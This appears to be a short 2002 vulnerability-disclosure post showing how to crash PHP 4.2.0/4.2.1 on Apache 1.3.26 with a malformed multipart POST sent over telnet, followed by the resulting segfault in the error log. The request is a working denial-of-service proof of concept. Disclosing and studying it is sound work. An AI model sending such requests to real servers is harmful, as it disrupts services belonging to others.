Subject: How to reproduce PHP segfault.



Happy Wednesday.

     The following is an example on how to reproduce the segmentation violation
in PHP 4.2.0 & PHP 4.2.1 with Apache 1.3.26 on Linux x86:


[jdog@...derland logs]$ telnet 192.168.x.x 80
Trying 192.168.x.x...
Connected to 192.168.x.x.
Escape character is '^]'.
POST /chad_owns_me.php HTTP/1.0
Content-type: multipart/form-data; boundary=---------------------------123
Content-length: 129

-----------------------------123
Content-Disposition: filename

http://www.rapid7.com/
-----------------------------123--

Connection closed by foreign host.
[jdog@...derland logs]$ cat error_log
[Tue Jul 23 11:11:52 2002] [notice] child pid 8948 exit signal Segmentation 
fault (11)
[jdog@...derland logs]$


     Note that a path to an existing PHP file must be used, otherwise the PHP
interpreter will not be invoked.
